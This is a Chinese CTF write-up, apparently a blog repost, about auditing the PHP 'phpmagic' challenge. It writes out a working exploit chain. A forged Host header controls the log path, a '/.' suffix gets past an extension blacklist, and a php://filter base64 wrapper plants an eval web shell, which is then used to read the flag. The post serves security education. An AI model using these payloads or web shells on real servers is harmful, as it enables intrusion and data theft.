magic code php,代码审计从入门到放弃(四)& phpmagic

原创:一叶飘零

1.前言

前些日子有些忙,没有继续做,现在跟进,先看下之前做的几道题:

2018 Code Breaking(1) & function :关于\

2018 Code Breaking(2) & pcrewaf:关于正则回溯的bypass手段代码审计从入门到放弃(二) & pcrewaf

2018 Code Breaking(3) & phplimit:php无参数函数执行RCE代码审计从入门到放弃(三) &  phplimit

今天研究一下phpmagic这道题

2.题目概述

拿到题目

发现源代码如下

if(isset($_GET['read-source'])) {

exit(show_source(__FILE__));

}

define('DATA_DIR', dirname(__FILE__) .'/data/'. md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {

mkdir(DATA_DIR,0755,true);

}

chdir(DATA_DIR);

$domain =isset($_POST['domain']) ? $_POST['domain'] :'';

$log_name =isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');

?>

.......

if(!empty($_POST) && $domain):

$command = sprintf("dig -t A -q %s", escapeshellarg($domain));

$output = shell_exec($command);

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

$log_name = $_SERVER['SERVER_NAME'] . $log_name;

if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php','php3','php4','php5','phtml','pht'],true)) {file_put_contents($log_name, $output); }

echo$output;

endif;

?>

注意到题目首先创建了一个沙盒做用户分割

define('DATA_DIR', dirname(__FILE__) .'/data/'. md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {

mkdir(DATA_DIR,0755,true);

}

chdir(DATA_DIR);

然后接受用户传入的2个值

$domain =isset($_POST['domain']) ? $_POST['domain'] :'';

$log_name =isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');

然后对用户输入的$domain进行拼接命令执行

$command = sprintf("dig -t A -q %s", escapeshellarg($domain));

$output = shell_exec($command);

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

然后将命令执行结果写入文件,并打印出来

$log_name = $_SERVER['SERVER_NAME'] . $log_name;

if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php','php3','php4','php5','phtml','pht'],true)) {file_put_contents($log_name, $output); }

echo$output;

3.攻击点探索

这里不难顺着题目想到,此题应该是bypass拼接,进行我们想要的命令执行。

那么这里思路可以分为2种:

1.利用文件保存功能留一个shell

2.直接进行RCE,因为执行结果会打印出来

这里我比较趋向于第一种,因为第二种我们需要bypassescapeshellarg()

68bbbaed59913feeb8ae155872ab5864.png

直接进行命令执行不是太方便,每次都要考虑Bypass的问题,而写一个Shell,只要bypass一次,一劳永逸。

同时更关键的一点,如果我们想走第二条路径,就要控制以下指令的返回值

$command = sprintf("dig -t A -q %s", escapeshellarg($domain));

常见并列执行命令方式如下cat sky.c && ls

但这里由于escapeshellarg()的存在,我们的输入变为dig -t A -q '&& ls'

失去并列执行的意义,所以这里考虑第1条路径:写shell

想要写shell的话,还是会遇到几项问题:

1.控制写入路径

2.bypass 黑名单

3.控制写入内容

4.控制写入路径

如果想要控制写入路径,那么势必关注写入函数,其中可能带有危险操作file_put_contents($log_name, $output);

对于$log_name我们可以跟踪到$log_name = $_SERVER['SERVER_NAME'] . $log_name;

关于这项操作,我们发现文件路径会拼接$_SERVER['SERVER_NAME']

那么这个值是做什么的呢?我们查阅官方手册

74f26a4d27dce6e68dce91f888fec7ae.png

官方手册中提示如果不设置 UseCanonicalName = On 和 ServerName,那么则可能被客户端进行伪造

我们不妨写如下脚本进行测试<?php $log_name = $_GET['log'];$log_name = $_SERVER['SERVER_NAME'] . $log_name;echo $log_name

caab5683f2e9073895ce5526cea8c4a3.png

82020b357319595d74484e39cf79309c.png可以看到$_SERVER['SERVER_NAME']可用host去控制,那么这样一来,文件名可控

5.bypass 黑名单

我们关注到黑名单为['php', 'php3', 'php4', 'php5', 'phtml', 'pht']

其实绕过手段还有不少,例如phps,但是目标会不会解析是个问题

有没有更加万能的bypass手段呢?

我们注意到获取后缀的方式为pathinfo($log_name, PATHINFO_EXTENSION)

而pathinfo()是有漏洞的

我们不妨做如下测试

5690b733096b748606cd658e42b37e42.png

pathinfo()只会单一的去获取最后一个.后的值作为后缀名

那么在php后加上.是否还能正常访问呢?

我们不妨做如下测试

7e25584f7e77d03e8aa6092e111bd19e.png

答案是否定的.

那么还有没有其他方法呢?

我们测试root@sky# php -aInteractive mode enabledphp > file_put_contents('/tmp/sky.php/.', '12345');php > exitroot@sky# ls /tmp | grep skysky.php

发现成功写入/tmp/sky.php,同时bypass了pathinfo()的黑名单

41f03bc4e992379c229937001966dba3.png

至于为什么/.可以进行bypass,可参考下述文章

http://wonderkun.cc/index.html/?p=626

6.制写入内容

可控路径,可Bypass后缀名,那么就只剩下内容写入了,我们需要bypass两个过滤escapeshellarg($domain)htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES)

这么显然如果不用编码的话,很难bypass过滤,毕竟符号会被过滤,例如<

那么如何使用编码写入呢?

这里就要从伪协议说起,我们知道有php有如下伪协议php://filter/write=convert.base64-decode/resource=sky.php”

可以将内容进行base64解码再写入,那么我们只要再$domain中传入base64即可,这样即可轻松Bypass过滤

再配合上我们之前的路径Bypass可以得到如下payload进行测试Host:php://filter/write=convert.base64-decode/resource=log=sky.php/.$domain = c2t5c2t5

我们访问sky.php进行查看

这里需要注意,先去得到自己的$_SERVER['REMOTE_ADDR']

这里方法很多,有很多提供ip的网站,或者可用自己的vps,这里不再赘述

可以计算得到我的沙盒/data/d4dabdbc73b87e364e29e60c60a92900

我们访问/data/d4dabdbc73b87e364e29e60c60a92900/sky.php

da00995f71486e68de540494fbd9f0dd.png我们发现之前发送的base64已经变成了skysky

7.payload写入

那么剩下的就是写入一句话木马了<?php  eval($_GET['s']); ?>

得到PD9waHAgZXZhbCgkX0dFVFsncyddKTsgPz4=

这里需要注意base64不要带有==,因为我们插入的base64在文本中间

8b1169f164cf860f476d8a6cac7c7bd1.png

而==是出现在base64结尾的,会导致解码错误

所有我们把=换成PD9waHAgZXZhbCgkX0dFVFsncyddKTsgPz4a

460da4f178ed2444b77b3eebb2aa1c5b.png我们进行测试

f8e4fb23a96835e126109172710327cf.png

访问http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=var_dump(scandir('./'))

00fc530f6bb925416a8e37c36cddb63d.png

继续上跳http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=var_dump(scandir(%27../../..

198385dcce2d45e76982f631f4735484.png

发现flag,我们读取http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=readfile(%27../../../fl

810a23273efc99b253cbcf8d94193513.png8.后记这道题并不难,主要涉及几个php trick:

1.$_SERVER['SERVER_NAME']可通过Host进行伪造

2./.可用来bypass文件后缀黑名单

3.php伪协议可用来base64 bypass写入内容

9.相关实验推荐

2、Web安全命令执行漏洞:了解命令执行漏洞产生的原因,学会漏洞的利用和修复

3、命令执行漏洞:学习以简单PHP源码调用关键系统函数,通过web执行任意系统命令

4、其他命令执行漏洞详见:

本文为合天原创,未经允许,严禁装载。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值